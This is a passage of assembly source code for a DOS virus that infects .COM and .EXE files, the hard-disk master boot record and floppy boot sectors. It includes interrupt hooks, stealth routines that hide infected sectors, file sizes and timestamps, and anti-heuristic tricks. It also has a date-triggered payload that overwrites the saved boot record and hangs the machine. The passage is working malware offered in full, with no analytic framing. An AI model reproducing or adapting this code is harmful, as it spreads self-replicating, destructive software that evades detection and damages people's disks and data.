;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

exit_com:
                ;Restore first three bytes
                lea si,word ptr [old_header][bp]
                mov di,0100h
                mov cx,0003h
                cld
                rep movsb

                ;Get .sys parameter block pointer
                pop bx
                ;Restore segment registers
                pop es
                pop ds

                ;Get control back to host
                push cs
                push 0100h

                ;Clear some regs
                xor ax,ax
                xor bx,bx
                xor cx,cx
                xor dx,dx
                xor si,si
                xor di,di
                xor bp,bp
                retf

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .exe infected files                                             ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

exit_exe:
                ;Get .sys parameter block pointer              
                pop bx
                ;Restore segment registers
                pop es
                pop ds

                ;Get active psp
                mov ah,62h
                int 21h
                add bx,10h
                add word ptr cs:[exe_cs][bp],bx
                ;Restore stack
                cli
                add bx,word ptr cs:[old_header+0Eh][bp]
                mov ss,bx
                mov sp,word ptr cs:[old_header+10h][bp]
                sti

                ;Clear some regs
                xor ax,ax
                xor bx,bx
                xor cx,cx
                xor dx,dx
                xor si,si
                xor di,di
                xor bp,bp
                sti

                ;Clear prefetch
                db 0EBh,00h        
                ;Jump to original entry point
                db 0EAh

exeret          equ this byte

exe_ip          dw 0000h
exe_cs          dw 0000h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit program if launcher execution                                        ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

exit_launcher:
                ;Get .sys parameter block pointer
                pop bx
                ;Restore segment registers
                pop es
                pop ds

                ;Use terminate program in droppers
                mov ax,4C00h
                int 21h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Write hard drive mbr using direct port access                             ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

hd_write_port:
                ;Save some reg
                push cx
                push dx
                push si

                ;Get offset of write buffer
                mov si,bx        
                call pause_some_ms

try_hd_port_again:

                ;Enable disk reset (FDC)
                mov dx,03F6h
                mov al,04h
                out dx,al
                call pause_some_ms
                xor al,al
                out dx,al
                call pause_some_ms

                ;Send drive 00h and head 00h
                mov dx,01F6h
                mov al,0A0h
                out dx,al
                call pause_some_ms

                ;Prepare drive to write at cylinder 00h
                mov dx,01F7h
                mov al,10h
                out dx,al
                call wait_drive_ready

                ;Check for errors on drive operation
                mov dx,01F1h
                in al,dx
                and al,68h
                jnz try_hd_port_again
                call wait_drive_ready        

                ;Send number of sectors to write ( 01h sector )
                mov dx,01F2h
                mov al,01h
                out dx,al
                call pause_some_ms

                ;Send sector
                mov dx,01F3h
                mov al,01h
                out dx,al
                call pause_some_ms

                ;Send cylinder high
                mov dx,01F4h
                xor al,al
                out dx,al
                call pause_some_ms

                ;Send cylinder low
                mov dx,01F5h
                xor al,al
                out dx,al
                call pause_some_ms

                ;Send drive and head
                mov dx,01F6h
                mov al,0A0h
                out dx,al
                call pause_some_ms

                ;Send command (write sector without retry)
                mov dx,01F7h
                mov al,31h
                out dx,al
                call wait_seek_ready

                ;Send data to port ( 0100h words for 01h sector )
                mov cx,0100h
                mov dx,01F0h
                cld
                rep outsw
                call wait_drive_ready

exit_mbr_infection:

                ;Restore regs and return
                pop si
                pop dx
                pop cx
                ret

wait_drive_ready:

                ;Check drive-ready flag
                mov dx,01F7h
still_working:

                in al,dx
                test al,80h
                jnz still_working
                ret

wait_seek_ready:

                call wait_drive_ready

                ;Check if seek operation complete
                test al,08h
                jz wait_seek_ready

                ret

pause_some_ms:  mov cx,0008h
void_loop:      loop void_loop
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 1Ch handler                                                     ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

my_int1Ch:
                ;Do not use this handler if file infection is active
                cmp byte ptr cs:[file_infection_flag],0FFh
                je my1Ch_exit

                ;Inc virus timer counter
                inc word ptr cs:[virus_timer]

                ;Check if time to hook dos
                cmp word ptr cs:[virus_timer],0100h
                jne not_time_for_dos

                ;Try to hook dos
                call hook_dos
                jmp short my1Ch_exit

not_time_for_dos:

                ;Check if time to start infecting files
                cmp word ptr cs:[virus_timer],1000h
                jne my1Ch_exit

                ;Set file infection flag and stop virus timer
                mov byte ptr cs:[file_infection_flag],0FFh
my1Ch_exit:

                ;Get control back to old int 1Ch
                jmp dword ptr cs:[old1Ch]

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 12h handler                                                     ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

my_int12h:
                ;Perform int call
                pushf
                call dword ptr cs:[old12h]

                ;Installation check
                cmp si,00BADh
                jne not_check_v
                cmp di,0FACEh
                jne not_check_v

                ;Check if call comes from infected .com or .exe files
                cmp cx,029Ah
                jne not_from_exe_com
                call hook_dos

not_from_exe_com:

                ;Im here!!!
                mov si,0DEADh
                mov di,0BABEh
not_check_v:
                iret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 13h handler                                                     ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

my_int13h:
                ;Hook dos on first write operation
                cmp ah,03h
                jne look_mbr
                call hook_dos
look_mbr:       
                ;Check for head 00h
                or dh,dh
                jnz my13h_exit

                ;Take care about track 00h
                or ch,ch
                jne my13h_exit

                ;Floppy or hd?
                cmp dl,80h
                je is_hd_operation
                or dl,dl
                jz is_floppy_operation
                jmp my13h_exit

is_hd_operation:

                ;Check for write operations
                cmp ah,03h
                je hd_write

                ;Check for extended write operations
                cmp ah,0Bh
                je hd_write

                ;Check for read operations
                cmp ah,02h
                je hd_read

                ;Check for extended read operations
                cmp ah,0Ah
                je hd_read

my13h_exit:
                ;Get control back to old int 13h
                jmp dword ptr cs:[old13h]

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Monitoring hd write operations                                            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

hd_write:

                ;Trying to overwrite virus sectors?
                cmp cl,04h+inf_sect_size
                ja my13h_exit

                ;Return without error
                clc
                retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Monitoring hd read operations                                             ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

hd_read:
                ;Trying to read infected mbr?
                cmp cl,01h
                je stealth_mbr

                ;Trying to read sectors on witch virus resides?
                cmp cl,04h+inf_sect_size
                ja my13h_exit

                ;Return with error
                stc
                retf 02h

stealth_mbr:
                ;Redirect reads to infected mbr into the clean copy
                mov al,01h
                mov cl,03h
                pushf
                call dword ptr cs:[old13h]
                jc mbr_stealth_error

                ;Decrypt mbr
                call crypt_sector
                clc

mbr_stealth_error:
                retf 02h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform encryption over es:[bx] 0200h byte                                ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

crypt_sector:

                push ax
                push cx
                push di

                mov cx,0200h/02h
                mov di,bx
                cld

sector_loop_crypt:

                mov ax,word ptr es:[di]
                not ax
                stosw
                loop sector_loop_crypt

                pop di
                pop cx
                pop ax
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus floppy infection routine                                            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

is_floppy_operation:

                ;Check of buffer in use by int 21h handler
                cmp byte ptr cs:[running_sw],00h
                jne my13h_exit

                ;Check read operations
                cmp ah,02h
                jne my13h_exit

                ;Over sector 01h
                cmp cl,01h
                jne my13h_exit

                ;Perform read operation
                call do_int13h
                jnc ok_floppy_read
                retf 02h

ok_floppy_read:

                ;Save all regs, we are going to trash them
                call push_all

                ;Check if floppy already infected
                call get_position
                cmp word ptr es:[di+boot_marker-boot_code],"RC"
                jne not_infected

                ;Read original boot sector
                call pop_all
                call read_boot_extra
                retf 02h

not_infected:
                ;Check for mbr marker also in floppy
                cmp word ptr es:[bx+01FEh],0AA55h
                jne exit_floppy_infection

                ;Check if dos has been loaded
                cmp byte ptr cs:[dos_flag],0FFh
                je environment_ready

exit_floppy_infection:

                call pop_all
                clc
                retf 02h

environment_ready:

                ;Choose disk device parameter table
                mov ax,word ptr es:[bx+13h]
                mov di,offset floppy5_25
                cmp ax,0960h
                je ok_ddpt_index
                mov di,offset floppy3_5
                cmp ax,0B40h
                jne exit_floppy_infection

ok_ddpt_index:

                ;Save some regs
                push es
                push bx
                push dx

                ;Get int 1Eh (address where bios stores a pointer to ddpt)
                mov al,1Eh
                call get_int

                ;Save int 1Eh
                mov word ptr cs:[old1Eh_off],bx
                mov word ptr cs:[old1Eh_seg],es

                ;Hook int 1Eh to our ddpt
                push cs
                pop ds
                mov dx,di
                call set_int

                ;Point to format table
                ;(Track 50h,side 00h,200h bytes per sector)
                push cs
                pop es
                mov bx,offset format_table

                ;Format the extra track
                mov ax,0501h+inf_sect_size
                mov cx,5001h
                pop dx
                call do_int13h
                jnc extra_track_done

                ;Restore pointer to read buffer
                pop bx
                pop es
                jmp abort_floppy

extra_track_done:

                ;Restore pointer to read buffer
                pop bx
                pop es

                ;Write original boot sector on first extra sector
                mov ax,0301h
                call do_int13h
                jc abort_floppy

                ;Copy virus body from hd to floppy ( sector by sector )
                mov cx,inf_sect_size
copy_hd_sector:
                push cx
                mov al,cl
                mov cl,inf_sect_size+04h
                sub cl,al
                mov dl,80h
                mov ax,0201h
                call do_int13h
                jnc hd_sector_ready

replication_error:

                pop cx
                call read_boot_extra
                jmp abort_floppy

hd_sector_ready:

                mov ch,50h
                sub cl,02h
                xor dl,dl
                mov ax,0301h
                call do_int13h
                jc replication_error
                pop cx
                loop copy_hd_sector

                ;Read original boot sector saved on extra track
                call read_boot_extra
                jc abort_floppy

                ;Save virus position on disk
                inc cl
                mov word ptr cs:[load_cx],cx

                ;Move virus loader into boot sector
                call get_position
                mov si,offset boot_code
                mov cx,boot_size
                cld
                rep movsb

                ;Write loader over floppy boot sector
                mov ax,0301h
                mov cl,01h
                call do_int13h

                ;Get original boot sector again
                call read_boot_extra
abort_floppy:
                ;Restore int 1Eh        
                lds dx,dword ptr cs:[old1Eh]
                mov al,1Eh
                call set_int
                jmp exit_floppy_infection

read_boot_extra:

                ;Read original boot sector saved on extra track
                mov ax,0201h
                mov cx,5001h
                call do_int13h
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform int 13h call                                                      ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

do_int13h:
                ;Check for floppy write operations
                cmp ah,03h
                jne do_not_use40h
                or dl,dl
                jz use_int40h

do_not_use40h:
                ;Perform call
                pushf
                call dword ptr cs:[old13h]
                ret
use_int40h:
                ;Perform call using int 40h
                pushf
                call dword ptr cs:[old40h]
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus loader ( inserted into hd mbr and floppy boot sectors )             ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

boot_code:
                ;Setup stack and segment regs
                cli
                xor ax,ax
                mov ss,ax
                mov es,ax
                mov ds,ax
                mov sp,7C00h
                sti

                ;Prepare for reading virus body
                mov ax,0200h+inf_sect_size

                ;Read at 0000h:7E00h
                mov bx,7E00h

                ;Get position in disk
                ;mov cx,XXXXh
                db 0B9h
load_cx         dw 0000h
                sub dh,dh

                ;Read virus body next to loader
                int 13h
                jc error_init

                ;Continue execution on virus body        
                push es
                push bx
                retf

error_init:
                ;Error during virus initialization
                int 18h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Floppy boot sector infected marker                                        ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

boot_marker     db "CR"
                ;End of boot code
boot_end        equ this byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Hook int 21h ( try to find original int 21h address using psp tracing )   ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

hook_dos:
                ;Save regs
                call push_all

                ;Check if dos has been loaded
                cmp byte ptr cs:[dos_flag],00h
                jne exit_wait

                ;Set dos loaded flag
                mov byte ptr cs:[dos_flag],0FFh

                ;Restore bios allocated memory
                xor ax,ax
                mov ds,ax
                add word ptr ds:[0413h],mem_kb_size

                ;Check dos version
                mov ah,30h
                int 21h
                cmp al,04h
                jb exit_wait

                ;Get our segment
                push cs
                pop ds

                ;Get int 21h vector
                mov al,21h
                call get_int

                ;Save old int 21h vector
                mov word ptr ds:[old21h_off],bx
                mov word ptr ds:[old21h_seg],es

                ;Save old 21h as original for errors on psp tracing
                mov word ptr ds:[org21h_off],bx
                mov word ptr ds:[org21h_seg],es

                ;Point int 21h to our handler
                mov dx,offset my_int21h
                call set_int

                ;Try to find original 21h tracing psp
                mov ah,62h
                int 21h
                mov es,bx

                ;Point ds:si to dispatch handler
                lds si,dword ptr es:[0006h]

trace_loop:
                ;Check if there is a jump instruction
                cmp byte ptr ds:[si],0EAh
                jne try_dispatcher

                ;Check if there is a double-nop
                lds si,dword ptr ds:[si+01h]
                mov ax,9090h
                cmp ax,word ptr ds:[si]
                jne trace_loop

                ;Sub offset from dispatcher
                sub si,32h

                ;Check if there is a double-nop
                cmp ax,word ptr ds:[si]
                je found_original

try_dispatcher:

                ;Check for cs prefix and push ds
                cmp word ptr ds:[si],2E1Eh  
                jne exit_wait

                ;Add offset from dispatcher
                add si,0025h

                ;Check for cli and push ax instructions
                cmp word ptr ds:[si],80FAh
                jne exit_wait

found_original:

                ;Save found address
                mov word ptr cs:[org21h_off],si
                mov word ptr cs:[org21h_seg],ds
exit_wait:
                ;Restore regs and return
                call pop_all
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 21h handler                                                     ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

my_int21h:
                ;Save entry regs
                call push_all

                ;Get our code segment int ds
                push cs
                pop ds

                ;Set int 21h running switch
                mov byte ptr ds:[running_sw],0FFh

                ;Anti-heuristic function number examination
                xor ax,0FFFFh
                mov word ptr ds:[dos_function],ax

                ;Get int 24h vector
                mov al,24h
                call get_int

                ;Save old int 24h
                mov word ptr ds:[old24h_seg],es
                mov word ptr ds:[old24h_off],bx

                ;Hook int 24h to a do-nothing handler
                mov dx,offset my_int24h
                call set_int

                ;Check for special files
                mov ah,62h
                call dos_call
                dec bx
                mov es,bx
                mov ax,word ptr es:[0008h]
                mov byte ptr ds:[stealth_sw],00h

                ;Check if arj is running
                cmp ax,"RA"
                je disable_stealth

                ;Check for pkzip utils        
                cmp ax,"KP"
                je disable_stealth

                ;Check for lha
                cmp ax,"HL"
                je disable_stealth

                ;Check for backup        
                cmp ax,"AB"
                je disable_stealth

                jmp no_running

disable_stealth:

                mov byte ptr ds:[stealth_sw],0FFh
no_running:
                ;Restore and re-save all regs        
                call pop_all
                call push_all
                ;Put function number into bx
                mov bx,word ptr cs:[dos_function]

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Check for activation circunstances                                        ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

activation_00:
                ;Get dos date
                cmp bh,(2Ah xor 0FFh)
                jne infection_00
                jmp dos_get_date

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infection functions                                                       ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

infection_00:
                ;Exec function ( save filename for later infection )
                cmp bx,(4B00h xor 0FFFFh)
                jne infection_01
                jmp dos_exec
infection_01:
                ;Close file (Handle)
                cmp bh,(3Eh xor 0FFh)
                jne infection_02
                jmp dos_close
infection_02:
                ;Get or set file attribute
                cmp bh,(43h xor 0FFh)
                jne infection_03
                jmp infect_file_ds_dx
infection_03:
                ;Rename or move file
                cmp bh,(56h xor 0FFh)
                jne infection_04
                jmp infect_file_ds_dx
infection_04:
                ;Terminate program ( infect executed program )
                cmp bh,(4Ch xor 0FFh)
                jne stealth_dos
                jmp dos_terminate_prog

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Stealth functions                                                         ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

stealth_dos:
                ;Check if stealth is disabled
                cmp byte ptr cs:[stealth_sw],0FFh
                je m21h_exit

                ;Open file (Handle)
                cmp bh,(3Dh xor 0FFh)
                jne stealth_00
                jmp dos_open
stealth_00:
                ;Extended open
                cmp bh,(6Ch xor 0FFh)
                jne stealth_01
                jmp dos_open
stealth_01:
                ;Directory stealth works with function Findfirst (fcb)
                cmp bh,(11h xor 0FFh)
                jne stealth_02
                jmp ff_fcb
stealth_02:
                ;Directory stealth works also with function Findnext(fcb)
                cmp bh,(12h xor 0FFh)
                jne stealth_03
                jmp ff_fcb
stealth_03:
                ;Search stealth works with Findfirst (handle)
                cmp bh,(4Eh xor 0FFh)
                jne stealth_04
                jmp ff_handle
stealth_04:
                ;Search stealth works also with Findnext (handle)
                cmp bh,(4Fh xor 0FFh)
                jne stealth_05
                jmp ff_handle
stealth_05:
                ;Read stealth
                cmp bh,(3Fh xor 0FFh)
                jne stealth_06
                jmp dos_read
stealth_06:
                ;Disinfect if debuggers exec
                cmp bx,(4B01h xor 0FFFFh)
                jne stealth_07
                jmp dos_load_exec
stealth_07:
                ;Disinfect if file write
                cmp bh,(40h xor 0FFh)
                jne stealth_08
                jmp dos_write
stealth_08:
                ;Get file date/time        
                cmp bx,(5700h xor 0FFFFh)
                jne stealth_09
                jmp dos_get_time
stealth_09:
                ;Set file date/time        
                cmp bx,(5701h xor 0FFFFh)
                jne m21h_exit
                jmp dos_set_time
m21h_exit:
                ;Free int 24h
                call unhook_ints
                call pop_all
                ;Get control back to dos
                jmp dword ptr cs:[old21h]

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get dos date and payload                                                  ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

dos_get_date:
                ;Get regs values on function entry
                call pop_all

                ;Call dos function
                call dos_call

                ;Check if date is 4th of June
                cmp dx,0604h
                je activate_now
                clc
                retf 02h

activate_now:

                ;Reset hd
                xor ax,ax
                int 13h

                ;Overwrite mbr copy
                mov bx,ax
                mov ax,0301h
                mov cx,0003h
                mov dx,0080h                
                int 13h

                ;Set video-mode 80*25 16-Colors
                mov ax,0003h
                int 10h

                ;Set cursor position
                mov ah,02h
                xor bh,bh
                mov dx,0B16h
                int 10h

                ;Print string + beep
                push cs
                pop ds
                mov si,offset txt_credits_1   
                call loop_beep_string

                ;Set cursor position
                mov ah,02h
                xor bh,bh
                mov dx,0C16h
                int 10h

                ;Print string + beep
                push cs
                pop ds
                mov si,offset txt_credits_2
                call loop_beep_string
hang_machine:        
                ;Endless loops rulez :P
                jmp hang_machine

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Directory stealth with functions 11h and 12h (fcb)                        ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ff_fcb:
                ;Call dos function
                call pop_all
                call dos_call

                ;Save all regs
                call push_all

                ;Check for errors
                cmp al,255
                je nofound_fcb

                ;Get current PSP
                mov ah,62h
                call dos_call

                ;Check if call comes from DOS
                mov es,bx
                cmp bx,es:[16h]
                jne nofound_fcb
                mov bx,dx
                mov al,ds:[bx+00h]
                push ax

                ;Get DTA
                mov ah,2Fh
                call dos_call
                pop ax
                inc al
                jnz fcb_ok
                add bx,07h
fcb_ok:
                ;Check if infected
                mov ax,word ptr es:[bx+17h]
                and al,1Fh
                cmp al,1Fh
                jne nofound_fcb

                ;Restore seconds
                and byte ptr es:[bx+17h],0E0h

                ;Restore original file size
                sub word ptr es:[bx+1Dh],inf_byte_size
                sbb word ptr es:[bx+1Fh],0000h
nofound_fcb:
                ;Restore some registers and return
                call unhook_ints
                call pop_all
                iret

